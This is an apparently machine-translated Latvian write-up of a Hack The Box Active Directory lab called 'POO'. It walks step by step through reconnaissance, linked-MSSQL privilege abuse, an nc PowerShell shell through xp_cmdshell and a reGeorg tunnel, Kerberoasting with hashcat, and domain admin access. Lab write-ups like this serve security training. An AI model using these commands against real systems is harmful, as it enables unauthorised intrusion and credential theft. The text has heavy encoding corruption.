Å ajÄ rakstÄ mÄs analizÄsim ne tikai maŔīnas, bet arÄ« visas mini laboratorijas pÄreju no vietas
KÄ norÄdÄ«ts aprakstÄ, POO ir paredzÄts, lai pÄrbaudÄ«tu prasmes visos uzbrukumu posmos nelielÄ Active Directory vidÄ. MÄrÄ·is ir apdraudÄt pieejamu saimniekdatoru, palielinÄt privilÄÄ£ijas un galu galÄ apdraudÄt visu domÄnu, vienlaikus savÄcot 5 karodziÅus.
Savienojums ar laboratoriju notiek caur VPN. Ieteicams nepieslÄgties no darba datora vai resursdatora, kurÄ ir jums svarÄ«gi dati, jo jÅ«s nonÄkat privÄtÄ tÄ«klÄ ar cilvÄkiem, kuri kaut ko zina informÄcijas droŔības jomÄ :)
organizatoriskÄ informÄcija
Lai jÅ«s varÄtu uzzinÄt par jauniem rakstiem, programmatÅ«ru un citu informÄciju, es izveidoju
Visa informÄcija tiek sniegta tikai izglÄ«tojoÅ”iem nolÅ«kiem. Å Ä« dokumenta autors neuzÅemas atbildÄ«bu par jebkÄdiem zaudÄjumiem, kas kÄdam nodarÄ«ti, izmantojot zinÄÅ”anas un metodes, kas iegÅ«tas Ŕī dokumenta izpÄtÄ.
Intro
Å Ä« beigu spÄle sastÄv no divÄm maŔīnÄm, un tajÄ ir 5 karodziÅi.
Tiek sniegts arÄ« pieejamÄ resursdatora apraksts un adrese.
SÄksim!
IzlūkoŔanas karogs
Šīs maŔīnas IP adrese ir 10.13.38.11, kuru es pievienoju /etc/hosts.
10.13.38.11 poo.htb
Pirmais solis ir skenÄt atvÄrtos portus. TÄ kÄ visu portu skenÄÅ”ana ar nmap aizÅem ilgu laiku, vispirms to darÄ«Å”u ar masscan. MÄs skenÄjam visus TCP un UDP portus no tun0 saskarnes ar Ätrumu 500 pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Tagad, lai iegÅ«tu detalizÄtÄku informÄciju par pakalpojumiem, kas darbojas portos, veiksim skenÄÅ”anu ar opciju -A.
nmap -A poo.htb -p80,1433
TÄtad mums ir IIS un MSSQL pakalpojumi. Å ajÄ gadÄ«jumÄ mÄs uzzinÄsim Ä«sto domÄna un datora DNS nosaukumu. TÄ«mekļa serverÄ« mÅ«s sagaida IIS mÄjas lapa.
Ejam cauri direktorijiem. Å im nolÅ«kam izmantoju gobuster. Parametros norÄdÄm pavedienu skaitu 128 (-t), URL (-u), vÄrdnÄ«cu (-w) un mÅ«s interesÄjoÅ”os paplaÅ”inÄjumus (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Tas mums nodroÅ”ina HTTP autentifikÄciju direktorijam /admin, kÄ arÄ« pieejamu darbvirsmas pakalpojuma .DS_Store failu. .DS_Store ir faili, kas saglabÄ mapes pielÄgotos iestatÄ«jumus, piemÄram, failu sarakstu, ikonu atraÅ”anÄs vietas un atlasÄ«to fona attÄlu. Å Äds fails var nonÄkt tÄ«mekļa izstrÄdÄtÄju tÄ«mekļa servera direktorijÄ. TÄdÄ veidÄ mÄs iegÅ«stam informÄciju par direktorija saturu. Å im nolÅ«kam jÅ«s varat izmantot
python3 dsstore_crawler.py -i http://poo.htb/
MÄs iegÅ«stam direktorijas saturu. VisinteresantÄkais Å”eit ir /dev direktorijs, no kura varam apskatÄ«t avotus un db failus divÄs atzarÄs. TaÄu mÄs varam izmantot pirmÄs 6 failu un direktoriju nosaukumu rakstzÄ«mes, ja pakalpojums ir neaizsargÄts pret IIS ShortName. Varat pÄrbaudÄ«t Å”o ievainojamÄ«bu, izmantojot
Un mÄs atrodam vienu teksta failu, kas sÄkas ar āpoo_coā. Nezinot, ko darÄ«t tÄlÄk, es vienkÄrÅ”i atlasÄ«ju no direktoriju vÄrdnÄ«cas visus vÄrdus, kas sÄkas ar ācoā.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Un mÄs to atrisinÄsim, izmantojot wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Un mÄs atrodam Ä«sto vÄrdu! ApskatÄm Å”o failu, saglabÄjam akreditÄcijas datus (spriežot pÄc DBNAME parametra, tie ir no MSSQL).
MÄs nododam karogu un dodam 20% uz priekÅ”u.
Huh karogs
MÄs pieslÄdzamies MSSQL, es izmantoju DBeaver.
Å ajÄ datu bÄzÄ neko interesantu neatradÄm, izveidosim SQL redaktoru un pÄrbaudÄ«sim, kÄdi lietotÄji tur ir.
SELECT name FROM master..syslogins;
Mums ir divi lietotÄji. PÄrbaudÄ«sim savas privilÄÄ£ijas.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
TÄdÄjÄdi nav nekÄdu privilÄÄ£iju. ApskatÄ«sim saistÄ«tos serverus, es detalizÄti rakstÄ«ju par Å”o tehniku
SELECT * FROM master..sysservers;
TÄtad mÄs atrodam citu SQL serveri. PÄrbaudÄ«sim komandu izpildi Å”ajÄ serverÄ«, izmantojot openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Un mÄs pat varam izveidot vaicÄjumu koku.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Fakts ir tÄds, ka, kad mÄs iesniedzam pieprasÄ«jumu saistÄ«tam serverim, pieprasÄ«jums tiek izpildÄ«ts cita lietotÄja kontekstÄ! ApskatÄ«sim, kÄdÄ lietotÄja kontekstÄ mÄs darbojamies saistÄ«tajÄ serverÄ«.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Tagad redzÄsim, kÄdÄ kontekstÄ pieprasÄ«jums tiek veikts no saistÄ«tÄ servera uz mÅ«su serveri!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
TÄdÄjÄdi tas ir DBO konteksts, kuram ir jÄbÅ«t visÄm privilÄÄ£ijÄm. PÄrbaudÄ«sim privilÄÄ£ijas, ja tiek saÅemts pieprasÄ«jums no saistÄ«ta servera.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
KÄ redzat, mums ir visas privilÄÄ£ijas! Izveidosim savu administratoru Å”Ädi. Bet viÅi to neatļauj, izmantojot openquery, darÄ«sim to, izmantojot EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Un tagad mÄs izveidojam savienojumu ar jaunÄ lietotÄja akreditÄcijas datiem, mÄs novÄrojam jauno karogu datu bÄzi.
Nododam Å”o karogu un dodamies tÄlÄk.
BackTrack karogs
IegÅ«stam Äaulu, izmantojot MSSQL, es izmantoju mssqlclient no impacket pakotnes.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Mums ir jÄiegÅ«st paroles, un pirmÄ lieta, ko mÄs jau esam saskÄruÅ”ies, ir vietne. TÄdÄjÄdi mums ir nepiecieÅ”ama tÄ«mekļa servera konfigurÄcija (nav iespÄjams atstÄt Ärtu apvalku, acÄ«mredzot ugunsmÅ«ris darbojas).
Bet piekļuve ir liegta. Lai gan mÄs varam nolasÄ«t failu no MSSQL, mums vienkÄrÅ”i jÄzina, kuras programmÄÅ”anas valodas ir konfigurÄtas. Un MSSQL direktorijÄ mÄs uzzinÄm, ka ir Python.
Tad nav nekÄdu problÄmu lasÄ«t web.config failu.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Ar atrastajiem akreditÄcijas datiem dodieties uz /admin un paÅemiet karogu.
PÄdas karogs
PatiesÄ«bÄ ugunsmÅ«ra lietoÅ”ana rada zinÄmas neÄrtÄ«bas, taÄu, apskatot tÄ«kla iestatÄ«jumus, pamanÄm, ka tiek izmantots arÄ« IPv6!
Pievienosim Ŕo adresi /etc/hosts.
dead:babe::1001 poo6.htb
SkenÄsim resursdatoru vÄlreiz, bet izmantojot IPv6 protokolu.
Un WinRM pakalpojums ir pieejams, izmantojot IPv6. SazinÄsimies ar atrastajiem akreditÄcijas datiem.
Uz darbvirsmas ir karogs, mÄs to nododam.
P00ned karogs
PÄc iepazÄ«Å”anÄs veikÅ”anas uz saimnieka, izmantojot
setspn.exe -T intranet.poo -Q */*
Palaidīsim komandu, izmantojot MSSQL.
Izmantojot Å”o metodi, mÄs iegÅ«stam lietotÄju SPN p00_hr un p00_adm, kas nozÄ«mÄ, ka viÅi ir neaizsargÄti pret tÄdu uzbrukumu kÄ Kerberoasting. ÄŖsÄk sakot, mÄs varam iegÅ«t viÅu paroļu jaucÄjus.
Vispirms jums ir jÄiegÅ«st stabils apvalks MSSQL lietotÄja vÄrdÄ. Bet, tÄ kÄ mums ir ierobežota piekļuve, mums ir savienojums ar resursdatoru tikai caur portiem 80 un 1433. Bet ir iespÄjams tunelÄt satiksmi caur 80. ostu! Å im nolÅ«kam mÄs izmantojam
Bet, mÄÄ£inot tai piekļūt, tiek parÄdÄ«ta kļūda 404. Tas nozÄ«mÄ, ka *.aspx faili netiek izpildÄ«ti. Lai faili ar Å”iem paplaÅ”inÄjumiem tiktu izpildÄ«ti, instalÄjiet ASP.NET 4.5 Å”Ädi.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Un tagad, piekļūstot tunnel.aspx, mÄs saÅemam atbildi, ka viss ir gatavs darbam.
PalaidÄ«sim lietojumprogrammas klienta daļu, kas pÄrraidÄ«s trafiku. MÄs pÄrsÅ«tÄ«sim visu trafiku no porta 5432 uz serveri.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Un mÄs izmantojam starpniekserveri, lai nosÅ«tÄ«tu jebkuras lietojumprogrammas trafiku, izmantojot mÅ«su starpniekserveri. Pievienosim Å”o starpniekserveri konfigurÄcijas failam /etc/proxychains.conf.
Tagad augÅ”upielÄdÄsim programmu serverÄ«
Tagad mÄs palaižam klausÄ«tÄju, izmantojot MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Un mÄs izveidojam savienojumu, izmantojot starpniekserveri.
proxychains rlwrap nc poo.htb 4321
Un pieÅemsim jaucÄjvÄrdus.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
TÄlÄk jums ir jÄatkÄrto Ŕīs jaucÄjzÄ«mes. TÄ kÄ rockyou vÄrdnÄ«cÄ Å”Ä«s paroles nebija, es izmantoju VISAS Seclists piedÄvÄtÄs paroļu vÄrdnÄ«cas. MeklÄÅ”anai mÄs izmantojam hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Un mÄs atrodam abas paroles, pirmo vÄrdnÄ«cÄ dutch_passwordlist.txt un otro Keyboard-Combinations.txt.
Un tÄ mums ir trÄ«s lietotÄji, ejam uz domÄna kontrolleri. Vispirms noskaidrojam viÅa adresi.
Lieliski, mÄs uzzinÄjÄm domÄna kontrollera IP adresi. Noskaidrosim visus domÄna lietotÄjus, kÄ arÄ« to, kurÅ” no viÅiem ir administrators. Lai lejupielÄdÄtu skriptu, lai iegÅ«tu informÄciju PowerView.ps1. PÄc tam mÄs izveidosim savienojumu, izmantojot evil-winrm, parametrÄ -s norÄdot direktoriju ar skriptu. Un tad mÄs vienkÄrÅ”i ielÄdÄsim PowerView skriptu.
Tagad mums ir piekļuve visÄm tÄ funkcijÄm. LietotÄjs p00_adm izskatÄs kÄ priviliÄ£Äts lietotÄjs, tÄpÄc mÄs strÄdÄsim viÅa kontekstÄ. Izveidosim Å”im lietotÄjam PSCredential objektu.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Tagad visas Powershell komandas, kurÄs mÄs norÄdÄm Creds, tiks izpildÄ«tas kÄ p00_adm. ParÄdÄ«sim lietotÄju sarakstu un atribÅ«tu AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Un tÄpÄc mÅ«su lietotÄjs ir patieÅ”Äm priviliÄ£Äts. PaskatÄ«simies, kurÄs grupÄs viÅÅ” ir.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Visbeidzot mÄs apstiprinÄm, ka lietotÄjs ir domÄna administrators. Tas dod tai tiesÄ«bas attÄlinÄti pieteikties domÄna kontrollerÄ«. MÄÄ£inÄsim pieteikties ar WinRM, izmantojot mÅ«su tuneli. Mani mulsinÄja reGeorg izdotÄs kļūdas, lietojot evil-winrm.
Tad mÄs izmantojam citu, vieglÄku,
MÄÄ£inÄm izveidot savienojumu, un esam sistÄmÄ.
Bet karoga nav. PÄc tam skatieties uz lietotÄju un pÄrbaudiet galddatorus.
Atrodam karogu pie mr3ks un laboratorija ir 100% pabeigta.
Tas ir viss. KÄ atsauksmes, lÅ«dzu, komentÄjiet, vai no Ŕī raksta uzzinÄjÄt ko jaunu un vai tas jums bija noderÄ«gs.
JÅ«s varat mums pievienoties plkst
Avots: www.habr.com